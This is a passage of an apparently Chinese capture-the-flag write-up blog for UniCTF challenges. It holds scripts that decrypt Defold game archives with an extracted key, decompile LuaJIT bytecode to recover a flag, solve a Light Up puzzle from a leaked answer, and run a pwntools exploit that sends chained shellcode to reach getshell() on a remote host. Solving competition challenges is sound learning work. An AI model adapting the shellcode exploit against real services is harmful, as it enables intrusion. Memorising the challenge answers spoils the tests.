if s != 255: break
match_len += 4

start = len(out) - off
for _ in range(match_len):
out.append(out[start])
start += 1

# 不强制等于 out_len(有些资源可能会有差异),但通常应当匹配
return bytes(out)

def extract_printable_strings(b: bytes, minlen=6):
res, cur = [], bytearray()
for x in b:
if 32 <= x < 127:
cur.append(x)
else:
if len(cur) >= minlen:
res.append(cur.decode("ascii", "ignore"))
cur.clear()
if len(cur) >= minlen:
res.append(cur.decode("ascii", "ignore"))
return res

def main(arci_path, arcd_path, key16: bytes):
arci = open(arci_path, "rb").read()
arcd = open(arcd_path, "rb").read()

version = u32(arci, 0x0)
num = u32(arci, 0x10)
entry_off = u32(arci, 0x14)
hash_off = u32(arci, 0x18)
hash_len = u32(arci, 0x1c)

print(f"[+] version={version} entries={num} entry_off=0x{entry_off:X} hash_off=0x{hash_off:X} hash_len={hash_len}")
hash_block = (entry_off - hash_off) // num
print(f"[+] hash_block={hash_block}")

for i in range(num):
h = arci[hash_off + i*hash_block : hash_off + i*hash_block + hash_len]
hhex = h.hex()

eo = entry_off + i*16
res_off = u32(arci, eo + 0x0)
res_size = u32(arci, eo + 0x4)
comp_size = u32(arci, eo + 0x8)
flags = u32(arci, eo + 0xC)
# 读取长度:未压缩时 comp_size 会是 0xFFFFFFFF
if comp_size == 0xFFFFFFFF:
read_len = res_size
else:
read_len = comp_size

blob = arcd[res_off:res_off + read_len]

# 先解密(如果加密)
if flags & FLAG_ENCRYPTED:
blob = xtea_ctr(blob, KEY)

# 再解压(只有压缩的才解)
if comp_size != 0xFFFFFFFF:
try:
data = lz4_decompress_block(blob, res_size)
except ValueError:
# 很多 Defold 包会有对齐 padding,失败时可以尝试裁掉末尾 0x00 再试几次
t = blob
ok = False
for _ in range(256):
if not t or t[-1] != 0:
break
t = t[:-1]
try:
data = lz4_decompress_block(t, res_size)
ok = True
break
except ValueError:
pass
if not ok:
# 实在不行就跳过这个 entry 或者当 raw 用
continue
else:
data = blob


ss = extract_printable_strings(data, 6)
hits = sorted(set(s for s in ss if (".luac" in s) or (".lua" in s) or ("@"+"" in s)))
# 常见:Lua chunkname 会长得像 '@xxx/yyy.lua'
hits2 = [s for s in hits if (".lua" in s or ".luac" in s)]
if hits2:
# 只打印最像路径的几条
shown = []
for s in hits2:
s2 = s.strip(' "\'')
if re.search(r'[@/].+\.(lua|luac)$', s2):
shown.append(s2)
shown = shown[:5] or hits2[:5]
print(f"{hhex} -> {shown}")

if __name__ == "__main__":
# 把这里换成你从 libUniCTF.so 里 strings 出来的 16字节 key
KEY = b"aQj8CScgNP4VsfXK"
main("game.arci", "game.arcd", KEY)

  • 然后发现有bin文件需要提取,并根据so库得到key
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
# extract_luajit_from_defold_scriptbin.py
import sys, struct, os

def read_varint(b, off):
val = 0
shift = 0
i = off
while True:
x = b[i]
i += 1
val |= (x & 0x7f) << shift
if not (x & 0x80):
return val, i
shift += 7

def extract(in_path, out_prefix):
b = open(in_path, "rb").read()

# outer: 0x0a <len> <inner_message>
if b[0] != 0x0a:
raise RuntimeError("Not a defold script container (no outer field 1)")
inner_len, p = read_varint(b, 1)
inner = b[p:p+inner_len]

# parse inner protobuf: dump all len-delimited fields that look like LuaJIT bytecode
i = 0
out_idx = 0
while i < len(inner):
key, i2 = read_varint(inner, i)
i = i2
field = key >> 3
wire = key & 7
if wire == 2: # len-delimited
L, i2 = read_varint(inner, i)
i = i2
blob = inner[i:i+L]
i += L
if blob.startswith(b"\x1bLJ\x02"):
out_idx += 1
out_path = f"{out_prefix}_field{field}_{out_idx}.luac"
open(out_path, "wb").write(blob)
print("[+] wrote", out_path, "len=", len(blob))
elif wire == 0:
_, i = read_varint(inner, i)
elif wire == 1:
i += 8
elif wire == 5:
i += 4
else:
raise RuntimeError(f"unsupported wire={wire}")

if __name__ == "__main__":
if len(sys.argv) != 3:
print("Usage: python extract_luajit_from_defold_scriptbin.py <in.bin> <out_prefix>")
sys.exit(1)
extract(sys.argv[1], sys.argv[2])

  • 提取000020和000022就行
  • 然后在github找到luajit-decompiler-v2.exe工具进行luac的反编译
  • 截图 202601301128
  • 找ai梭个脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
-- get_flag.lua

-- 用法:

--   luajit get_flag.lua

-- 或:

--   lua get_flag.lua

--

-- 依赖:

--   同目录下有 flag_validator_field4_1.lua(你的反编译结果)



local FLAG_VALIDATOR_LUA = "flag_validator_field4_1.lua"

local USERNAME = "Unictf"

local CIPHER_HEX = "80c2e2cc337d7a7129f854e5ba2548599f029fd1dfc42d2d2d2d00000000"



local function read_all(path)

  local f = assert(io.open(path, "rb"))

  local s = f:read("*a")

  f:close()

  return s

end



local function load_lua_file_strip_bom(path)

  local s = read_all(path)

  -- strip UTF-8 BOM if present

  if s:sub(1, 3) == "\239\187\191" then

    s = s:sub(4)

  end

  local loader = loadstring or load

  local chunk, err = loader(s, "@" .. path)

  assert(chunk, err)

  return chunk()

end



local function get_upvalue(fn, want)

  local i = 1

  while true do

    local name, val = debug.getupvalue(fn, i)

    if not name then return nil end

    if name == want then return val end

    i = i + 1

  end

end



local function hex_to_bytes(hex)

  hex = hex:gsub("%s+", ""):gsub("^0x", "")

  assert(#hex % 2 == 0, "hex length must be even")

  local out = {}

  for i = 1, #hex, 2 do

    local byte = tonumber(hex:sub(i, i + 1), 16)

    out[#out + 1] = string.char(byte)

  end

  return table.concat(out)

end



local function bytes_to_hex(s)

  local t = {}

  for i = 1, #s do

    t[#t + 1] = string.format("%02x", s:byte(i))

  end

  return table.concat(t)

end



-- 1) load module table

local fv = load_lua_file_strip_bom(FLAG_VALIDATOR_LUA)

assert(type(fv) == "table" and type(fv.validate) == "function", "bad flag_validator lua")



-- 2) pull locals via upvalues

local encrypt = get_upvalue(fv.validate, "encrypt")

assert(type(encrypt) == "function", "cannot find upvalue: encrypt")



local derive_state = get_upvalue(encrypt, "derive_state")

local stream_xor   = get_upvalue(encrypt, "stream_xor")

assert(type(derive_state) == "function", "cannot find upvalue: derive_state")

assert(type(stream_xor) == "function", "cannot find upvalue: stream_xor")



-- 3) decrypt: plaintext = stream_xor(state, ciphertext_payload)

local ct = hex_to_bytes(CIPHER_HEX)

assert(#ct >= 8, "cipher too short")

local payload = ct:sub(1, #ct - 8) -- last 8 bytes are tag

local state = derive_state(USERNAME)

local plaintext = stream_xor(state, payload)



-- 4) print flag

print(plaintext)



-- 5) (optional) verify by re-encrypting and comparing hex

local enc = encrypt(plaintext, USERNAME)

local enc_hex = bytes_to_hex(enc)

io.stderr:write("[verify] ", tostring(enc_hex == CIPHER_HEX), "\n")

Misc

im

  • 这道题给了github仓库,仔细查看了阿里云ctf的官方wp和仓库后可以知道,这道题给了源码
  • Misc这道im没有改源码就是直接给的源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
UniCTF LightUp / Tracr compiled model challenge solver (offline).

This script:
1) Uses the (leaked/old) LightUp puzzle solution bits (row-major).
2) Optionally verifies the solution against the puzzle rules (pure Python, no tracr/jax).
3) Computes sha256(bitstring) and prints the flag.

Run:
python3 solve_unictf.py
"""

import dataclasses
import enum
import hashlib
import operator

# 11x11 board from the leaked generator (underscore = empty, # = wall, 0-4 = numbered wall)
INITIAL_BOARD = """\
____#1___1_
1_#________
____1_1__1_
___________
__3__#__#_#
#___3_#___#
#_#__#__2__
___________
_0__2_1____
________0_0
_1___00____
""".strip("\n")

# Solution bits in row-major order (len == 121). 1 = bulb, 0 = empty.
REFERENCE_ANSWER_BITS = [
0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1,
0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0,
1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0,
0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0,
0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0,
0, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0,
0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1,
0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0,
0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0,
1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 0,
]


class Predicate(enum.Enum):
EQ = 0
LT = 1
GT = 2


_PREDICATE_TO_OPERATOR = {
Predicate.EQ: operator.eq,
Predicate.LT: operator.lt,
Predicate.GT: operator.gt,
}


@dataclasses.dataclass(frozen=True)
class Condition:
coords: set[int]
value: int
predicate: Predicate


class Checker:
"""Pure-Python Light Up (Akari) checker, matching the leaked generator logic."""

_DXDY = [(0, 1), (0, -1), (1, 0), (-1, 0)]

def __init__(self, board: str):
self._grid = board.strip().splitlines()
self._n = len(self._grid)
self._m = len(self._grid[0])
assert all(len(row) == self._m for row in self._grid), "ragged board"
self._conditions = self._build_conditions()

def _coord(self, i: int, j: int) -> int:
return i * self._m + j

def _in_bound(self, i: int, j: int) -> bool:
return 0 <= i < self._n and 0 <= j < self._m

def _adjacent(self, i: int, j: int):
for di, dj in self._DXDY:
ii, jj = i + di, j + dj
if self._in_bound(ii, jj):
yield ii, jj

def _build_conditions(self) -> list[Condition]:
result: list[Condition] = []

# 1) Black/numbered cells cannot have bulbs
must_be_zero = {
self._coord(i, j)
for i in range(self._n)
for j in range(self._m)
if self._grid[i][j] != "_"
}
result.append(Condition(must_be_zero, 0, Predicate.EQ))

# 2) Numbered cells must have exactly that many adjacent bulbs
for i in range(self._n):
for j in range(self._m):
if self._grid[i][j] in "01234":
adj = {self._coord(ii, jj) for ii, jj in self._adjacent(i, j)}
result.append(Condition(adj, int(self._grid[i][j]), Predicate.EQ))

# 3) No two bulbs see each other horizontally (within a contiguous '_' segment)
for i in range(self._n):
cur = []
for j in range(self._m + 1):
if j >= self._m or self._grid[i][j] != "_":
if cur:
result.append(Condition(set(cur), 2, Predicate.LT))
cur = []
else:
cur.append(self._coord(i, j))

# 4) No two bulbs see each other vertically
for j in range(self._m):
cur = []
for i in range(self._n + 1):
if i >= self._n or self._grid[i][j] != "_":
if cur:
result.append(Condition(set(cur), 2, Predicate.LT))
cur = []
else:
cur.append(self._coord(i, j))

# 5) Every empty cell must be lit (sees at least one bulb, including itself)
for i in range(self._n):
for j in range(self._m):
if self._grid[i][j] != "_":
continue
visible = set()
for di, dj in self._DXDY:
ii, jj = i, j
while self._in_bound(ii, jj) and self._grid[ii][jj] == "_":
visible.add(self._coord(ii, jj))
ii += di
jj += dj
result.append(Condition(visible, 0, Predicate.GT))

return result

def check(self, solution_bits: list[int]) -> bool:
if len(solution_bits) != self._n * self._m:
return False
for cond in self._conditions:
s = sum(solution_bits[c] for c in cond.coords)
if not _PREDICATE_TO_OPERATOR[cond.predicate](s, cond.value):
return False
return True


def main():
bitstring = "".join(map(str, REFERENCE_ANSWER_BITS))
digest = hashlib.sha256(bitstring.encode()).hexdigest()

# Optional verification
ok = Checker(INITIAL_BOARD).check(REFERENCE_ANSWER_BITS)
print(f"[+] solution check: {ok}")
print(f"[+] input length: {len(bitstring)}")
print(f"[+] input bitstring: {bitstring}")
print(f"[+] sha256: {digest}")
print()
print(f"UniCTF{{{digest}}}")
print(f"unictf{{{digest}}}")


if __name__ == "__main__":
main()

Pwn

什么?我不是汇编高手吗?

  • 通过ida分析可以发现它申请了一块可写内存
  • 它每次读取四个字节,然后插入一个0xE9(JMP),读到回车键截止,然后关闭可写权限
  • 然后看到getshell()函数
  • 准备构建一个exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

context(arch='amd64')
context.log_level = 'debug'
io = remote('nc1.ctfplus.cn', 30138)
# io = process('./pwn')
io.recvline()
bridge = p32(1)
# 6a 40 (push 0x40) + 58 (pop rax) + 90 (nop)
part1 = b'\x6a\x40\x58\x90'
# c1 e0 10 (shl eax, 0x10) + 90 (nop)
part2 = b'\xc1\xe0\x10\x90'
# 66 05 f6 11 (add ax, 0x11f6)
part3 = b'\x66\x05\xf6\x11'
# ff e0 (jmp rax) + 90 90
part4 = b'\xff\xe0\x90\x90'
io.send(bridge)
io.send(part1)
io.send(bridge)
io.send(part2)
io.send(bridge)
io.send(part3)
io.send(bridge)
io.send(part4)
io.send(b'\n')
io.interactive()

关于本文

由 GuQing 撰写,采用 CC BY-NC 4.0 许可协议。